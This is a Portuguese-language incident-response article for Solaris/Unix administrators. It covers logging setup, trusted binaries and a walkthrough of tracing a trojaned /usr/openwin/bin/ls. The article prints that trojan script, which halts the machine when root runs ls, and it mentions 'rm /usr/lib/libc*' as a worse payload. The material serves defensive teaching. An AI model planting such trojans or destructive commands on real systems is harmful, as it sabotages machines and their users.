Fui hackeado, e agora?  

---

Boa leitura!
................................................................................................................................................

Você tem aquela sensação engraçada de que algo está errado. Um dos administradores informou que a sua máquina Unix insiste em reiniciar o OpenWindows. Você senta na frente da máquina, digita alguns comandos e ele rebota de novo!. Isto não é um bug, você acabou de ser hackeado! e agora, o que você vai fazer? Leia este interessante documento direcionado a inicialmente para usuários Solaris, mas que pode ser de grande utilidade para qualquer usuário Unix também.

Como preparar-se
Proteger o seu sistema é somente uma parte da segurança da informação. Preparar para o inevitável é outra. Cedo ou tarde um de seus sistemas será invadido. E então? Os Back-ups são uma parte crítica da recuperação do sistema (nada pode "vencer" um back-up total), todavia este deve ser considerado como último recurso (dá um trabalho imenso). 

Aqui nós discutiremos o conhecimento e as informações necessárias para identificar um sistema comprometido, averiguar o "hack" e recuperar o sistema, sem uma restauração total a partir de back-ups. A primeira parte deste artigo tratará das ferramentas e preparações que você precisa ter. A Segunda parte mostrará exemplos passo-a-passo de como usar estas "preparações". Para este artigo não ser exaustivo, eu gostaria de lhe dar alguma idéia de onde começar, um bom lugar par você dar um olhada é em http://www.cert.org/nav/recovering.html.

Logging
Os arquivos de log são a sua arma mais útil na recuperação de incidentes relacionados a segurança. Os logs são seus amigos!. Com um log extensivo você pode potencialmente rastrear as ações do intruso e identificar o que ele comprometeu em seus sistema e posteriormente recuperá-lo da forma original. 

A sua meta deve ser a de ter várias fontes fontes de logs, assim você não fica dependente de uma única fonte de informações.

O primeiro lugar para começar é o arquivo /etc/syslog.conf. Este arquivo pode ser considerado como o "comando central" de logging, você controla várias funções aqui. Na inicialização o /usr/bin/syslogd lê esta configuração. Editando este arquivo nós podemos configurar como o sistema vai fazer os logs. 

A primeira coisa que nós vamos logar são todas as conexões inetd, tais como telnet, ftp, rlogin, etc. para o arquivo /var/adm/inetdlog. Desta maneira, sempre que alguém conecta-se ao sistema, você tem o log de qual IP se conectou. Primeiramente crie o arquivo /var/adm/intedlog usando o comando touch. Depois, adicione a seguinte linha ao arquivo /etc/suyslog.conf : 

daemon.notice /var/adm/inetdlog.

Agora reinicie o /usr/sbin/syslogd com o comando kill HUP, isto assegura o logging para o intetdlog. Nos ainda não terminamos. Para habilitar isto o intetd precisa estar rodando tanto com o parâmetro -s como o -t. Para fazer isso, na última linha do /etc/rc2.d/S72inetsvc, edite o seguinte: 

                       /usr/bin/inetd -s -t 

A partir de agora todas as conexões inetd serão logadas. Para que o parâmetro -t tenha efeito, você pode ainda reiniciar o sistema ou também dar um kill no /usr/sbin/inetd, e então manualmente executar o /usr/sbin/inetd com os parâmetro "-s" e "-t ". O único problema é que agora estamos dependendo de uma única fonte de informações. Se o seu sistema está comprometido, o intruso pode facilmente modificar o log dos seu sistema. Para nos protegermos contra isso, podemos ter todos os logs enviados a um outro host adicional. Para fazer isso, adicionaremos uma linha adicional no arquivo /etc/syslog.conf: 

daemon.notice @logger 

Para os paranóicos, nos podemos adicionar mais uma camada de proteção, enviando o arquivo de logs para a impressora. Desta maneira a única maneira de alguém comprometer este arquivo de log é tendo acesso físico a esta impressora. (em outras palavras, indo até a impressora propriamente dita e rasgar o log impresso!). Para isso colocaremos uma última linha adicional no arquivo /etc/syslog.conf:

daemon.notice /dev/printer 

Existem dois outros logs que devemos nos certificar de que estejam funcionando: o /var/adm/sulog e o /var/adm/loginlog. Às vezes, estes logs não estão habilitados por default. O Sulog loga todas as tentativas de executar o comando "su", tendo elas sucesso ou não. O Loginlog loga todas as tentativas de login que falharampor 5 vezes consecutivas. Tais logs podem ser habilitados indo para: 

/var/adm/sulog 
/var/adm/loginlog 

Agora o último passo de logging são as permissões. O Solaris (até 2.6) tem o mau hábito de setar permissões ruins no /var/adm. Ruim porque muitos logs podem ser lidos por qualquer um, e alguns também podem ser escritos por todos. Tenha em mente que que o /var/adm/loginglog e o /var/adm/log/asppp.log contém password em texto plano!. O melhor coisa a fazer e dar um chmod 750 * no diretório /var/adm.

Executáveis

Esta será nossa Segunda ferramenta para lidarmos com um sistema comprometido. Quando você acessar um sistema já comprometido, você não pode confiar no ambiente ou nos arquivos. O intruso provavelmente já os alterou. Para proteger-se crie um disquete (ou CD-Rom) que contenha os executáveis (binários) críticos. Você poderá usá-los no futuro. Então a primeira coisa que você faz em um sistema desses é setar seu $PATH para o disquete, esta é uma maneira de você ter certeza de que não estará executando arquivos corrompidos. Exemplos de executáveis críticos incluem: 

/usr/bin/ls
/usr/bin/grep
/usr/bin/find
/usr/bin/more>
/usr/bin/truss
/usr/bin/vi

Também mantenha impressos uma relação de todos os arquivos suid 4000 e todos os arquivos ocultos (.*) em um disquete. Desta maneira você pode determinar se quaisquer arquivos novos deste tipo (suid e ocultos) foram colocados no sistema. 

E agora?

Agora, retorne ao sistema que insiste em reiniciar o Open Windows. Se você se lembra, eu disse lá no início que um dos seus administradores disse que a maquina dele/dela está reiniciando randomicamente o Open Windows, mais especificamente se você está como root. Você decidiu verificar você mesmo o problema. Você reiniciou, abriu o Open Windows e nada: Nada aconteceu após 10 minutos que você está com o Open Windows aberto. Você decide dar uma "olhada" por aí... Após digitar alguns comandos básicos... Bingo! O sistema reinicia!. Pois é, isto não pode ser um bug. Decididamente você foi hackeado e caiu na armadilha. E agora? Aqui está um possível exemplo de uma opção para resolver o problema. 

Sendo um administrador dedicado, você provavelmente já leu algum documento semelhante a este, então você já tem os logs e aquele disquete especial (explicado a cima) prontos. Então... por onde começar? Os logs são um bom ponto para começar, mas primeiro, lembre-se: nunca confie no seu ambiente: assuma que o intruso já o comprometeu (ele provavelmente fará isso). 

Reinicie o sistema, mas não deixe que inicie o OpenWindows. Monte aquele seu disquete, sete o Path, mas somente para ele (faça somente isso!). E então confirme seu ambiente com o comando #env. Desta maneira, você terá certeza que estará executando arquivos confiáveis. Agora estamos prontos para iniciar a investigação no sistema.

Você pode decidir começar com as checagens básicas dos arquivos críticos. Inicie com o comando "find / -user root -perm -4000 -print" e compare todos os arquivos suid aos que estão no disquete. Tudo checado, não há arquivos suid novos. Ok, agora vamos ver se foram adicionados novos arquivos ocultos. Para isso você pode tentar os comandos: 

find / -name ".. " -print & 
find / -name ".*" -print 

Hum... nada ainda, nenhum arquivos oculto novo foi adicionado. Certo, vamos aos arquivos de log, especificamente no diretório /var/adm/messages. Novamente não temos nada suspeito. Está tudo ok. Você decide ousar, então verifica os binários do sistema e... novamente está tudo ok!. O sistema parece estar funcionando muito bem, mas você ainda não entrou no Open Windows. 

Você decide então recriar o problema entrando no OpenWindows. Deste ambiente, você começa a "fuçar" nele sem usar o seu disquete, então repentinamente... ele reinicia! Aha! Tivemos um progresso, o sistema reiniciou, mas somente quando estamos usando os binários do sistema quando estamos no ambiente OpenWindows.

Como o sistema reiniciou novamente, você cancela novamente a execução do OpenWindows. Você reinicia seu ambiente novamente no disquete. Então decide voltar ao OpenWindows novamente, mas desta vez nós usaremos o nosso velho amigo "truss" (nós podemos confiar no truss, desde que esteja em nosso disquete):

#truss -f -t exec -o /var/adm/truss
/usr/openwin/bin/openwin

Você vai para o OpenWindows, e começa a trabalhar com o ambiente e ele novamente reinicia, mas agora nós encontraremos o culpado com o truss! Após você reiniciar usando o disquete, você dá um cat no arquivo truss, que está localizado em /var/adm/truss. Aha! Você finalmente encontrou o culpado! Ele está no fim do arquivo truss, o sistema está executando o "halt". Não se preocupe, logo você vai entender o "halt", continue lendo!

Então você encontrou o problema, você está executando o "halt" no OpenWindows, seu sistema está comprometido. Mas e agora? Pela última vez você reinicia o OpenWindows, a partir dele você dá uma olhada no ambiente. Avisa que o seu Path mudou, o /usr/openwin/bin foi adicionado ao início do path, qualquer comando que você executar iniciará ali. Mas você se lembra que o OpenWindows automaticamente adiciona-se ao inicio do seu Path por default! 

Usando nossos binários confiáveis setando o $PATH para nosso disquete, nós passamos direto para o /usr/openwin/bin. Você faz um grep por "halt", efetivamente, você encontrou o "furo". É ali que o intruso deixou a armadilha. Ele criou um novo arquivo, /usr/openwin/bin/ls (Veja esta listagem abaixo:

#cat /usr/openwin/bin/ls
#!/bin/ksh
if ["$LOGNAME" = "root"]
then
/usr/bin/ls
(sleep 5; /sbin/halt) & > /dev/null 2>&1
else
/usr/bin/ls

Este é um script básico que pode arruinar o seu dia. Imagine se algo como rm /usr/lib/libc* estivesse inserido nele!

Agora vamos encontrar quem fez isso, é aí que nossos logs entram! O primeiro log que nós queremos olhar é o /var/adm/inetdlog. Aqui nós encontraremos, por Enderço IP, todos os usuários que se conectaram ao servidor. Estamos procurando por quaisquer endereços IP que não deveriam estar lá, e potencialmente com a mesma data do /usr/openwin/bin/ls. Definitivamente você encontrou o endereço suspeito "hacker.intruder.com". Agora vamos encontrar qual era o login do usuário. Com o endereço IP suspeito, podemos mapear o login do intruso para o IP com o comando "last", e então direcionar no grep para o Endereço IP. 

Definitivamente você pegou o intruso, mas que o preocupa é que é um login de um de seus administradores. Você dá uma olhada no /var/adm/loginlog, mas lá não há registro de tentativas falhas. Podemos concluir que o intruso já tinha as passwords de antemão. Isto nos mostra como o administrador foi descuidado com sua password, ou porque setou uma muito óbvia ou porque deixou-a facilmente "recuperável". Mas nós não flaremos sobre este assunto aqui. Existe uma variedade imensa de outras técnicas e ferramentas para se usar, como checksums, Tripwire, etc. As idéias mencionadas neste documento são apenas o primeiro passo, para aprender um pouco mais vá até http://www.cert.org/pub/recovering.html (em inglês).